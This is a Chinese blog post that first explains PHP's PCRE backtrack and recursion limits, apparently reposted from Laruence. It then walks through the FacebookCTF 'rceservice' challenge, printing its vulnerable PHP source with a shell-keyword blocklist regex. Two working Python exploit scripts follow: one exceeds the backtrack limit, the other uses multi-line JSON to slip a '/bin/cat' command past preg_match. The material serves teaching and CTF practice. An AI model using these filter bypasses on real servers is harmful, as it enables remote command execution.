PHP正则最大回溯/递归限制

最近看到了一篇文章讲的是FacebookCTF rceservice这道题,有个知识点是绕过preg_match匹配的,以前没遇到过,看大佬文章学习学习

本文转载自 http://www.laruence.com/2010/06/08/1579.html

今天,Tank问了一个问题, 对于如下的正则:

/<script>.*?<\/script>/is

当要匹配的字符串长度大于100014的时候, 就不会得出正确结果:

$reg = "/<script>.*?<\/script>/is";
$str = "<script>********</script>"; //长度大于100014
$ret = preg_replace($reg, "", $str); //返回NULL

难道正则对匹配的串有长度限制?

不是, 当然不是, 原因是这样的, 在PHP的pcre扩展中, 提供了俩个设置项.

1. pcre.backtrack_limit //最大回溯数
2. pcre.recursion_limit //最大嵌套数

默认的backtarck_limit是100000(10万).

这个问题, 就和设置项backtrack_limit有关系. 现在要弄清这个问题的原因, 关键就是什么是”回溯”.

这个正则, 使用非贪婪模式, 非贪婪模式匹配原理简单来说是, 在可配也可不配的情况下, 优先不匹配. 记录备选状态, 并将匹配控制交给正则表达式的下一个匹配字符, 当之后的匹配失败的时候, 再溯, 进行匹配.

举个例子:

源字符串: aaab
正则:     .*?b

匹配过程开始的时候, .*?首先取得匹配控制权, 因为是非贪婪模式, 所以优先不匹配, 将匹配控制交给下一个匹配字符”b”, “b”在源字符串位置1匹配失败(“a”), 于是回溯, 将匹配控制交回给.*?, 这个时候, .*?匹配一个字符”a”, 并再次将控制权交给”b”, 如此反复, 最终得到匹配结果, 这个过程中一共发生了3次回溯.

现在我们来看看文章开头的例子, 默认的backtrack_limit是100000, 而源字符串的开头是9个字符, 一共是99997个字符.

另外, 因为match函数自身的逻辑, 在文章开头的例子下, 会导致回溯计数增3(有兴趣的可以参看pcrelib/pcre_exec.c中match函数逻辑部分), 所以在匹配到”“之前, pcre中的回溯计数刚好是100000,于是就正常匹配, 退出.

而, 只要在增加一个字符, 就会导致回溯计数大于100000, 从而导致匹配失败退出.

在PHP 5.2以后, 提供了:

int preg_last_error ( void )
Returns the error code of the last PCRE regex execution.

我们应该经常检查这个函数的返回值, 当不为零的时候说明上一个正则函数出错, 特别的对于文章的例子, 出错返回(PREG_BACKTRACK_LIMIT_ERROR)

最后, 在顺便说一句, 非贪婪模式导致太多回溯, 必然会有一些性能问题, 适当的该写下正则, 是可以避免这个问题的. 比如将文章开头例子中的正则修改为:

/<script>[^<]*<\/script>/is

就不会导致这么多的回溯了~

而recursion_limit限制了最大的正则嵌套层数, 如果这个值, 设置的太大, 可能会造成耗尽栈空间爆栈. 默认的100000似乎有点太大了…

就比如对于一个长度为10000的字符串, 如下这个看似”简”的单正则:

//默认recursion_limit为100000
$reg = /(.+?)+/is;
$str = str_pad("laruence", 10000, "a"); //长度为1万
$ret = preg_repalce($reg, "", $str);

会导致core, 这是因为嵌套太多, 导致爆栈.

当然, 你可以通过修改栈的大小来暂时的解决这个问题, 比如修改栈空间为20M以后, 上面的代码就能正常运行, 但这肯定不是最完美的解法. 根本之道, 还是优化正则.

最后: 正则虽易, 用好却难.. 尤其在做大数据量的文本处理的时候, 如果正则设计不慎, 很容易导致深度嵌套, 另外考虑到性能, 还是建议能用字符串处理尽量使用字符串处理代替.


看p牛的文章了解到,除了上面的非贪婪正则匹配:

$reg = "/<script>.*?<\/script>/is";

下面这种正则也会导致上面的回溯问题:

preg_match('/<\?.*[(;?>].*/is', $data); 

例如输入为:

<?php phpinfo(); //aaaaa

那么匹配流程为:

1.第一个.*可以匹配到任何字符,所以匹配到了字符串结尾,但此时.*后面还有[(;?>]
2.开始回溯,先吐一个a,但输入仍匹配不上正则,继续吐a……
3.最后.*匹配上<?php phpinfo(),后面的;匹配上[(;?>],于是不再回溯


题目描述:

We created this web interface to run commands on our servers, but since we haven't figured out how to secure it yet we only let you run 'ls'
(This problem does not require any brute force or scanning.
We will ban your team if we detect brute force or scanning).

题目源码大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>rceservice</title>
</head>
<body>
<h2>Web Administration Interface</h2>

Enter command as JSON:
<form action="./" method="post" accept-charset="utf-8">
<input type="text" name="cmd">
</form>
</body>
</html>

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

方法一

putenv()函数的作用是设置环境变量;由于这道题目用到了贪婪匹配模式,则可以尝试利用php的回溯限制,输入的字符个数大于100000,使正则失效;由于环境变量设为了putenv(‘PATH=/home/rceservice/jail’),而且只能使用ls命令,则可以猜测flag文件藏在/home/rceservice/flag;由于更改了环境变量,因此不能直接使用cat命令,可以使用绝对路径的方法/bin/cat;脚本如下:

1
2
3
4
5
6
7
8
import requests

url = 'http://127.0.0.1'

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post(url, data={"cmd":payload})
print(res.text)

方法二

preg_match()函数仅尝试匹配第一行,因此可以使用多行输入来绕过正则,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://127.0.0.1'

payload = '''
{
"cmd":"/bin/cat /home/rceservice/flag"
}
'''
res = requests.post(url, data={"cmd":payload})
print(res.text)

参考:https://blog.csdn.net/qq_20307987/article/details/90902021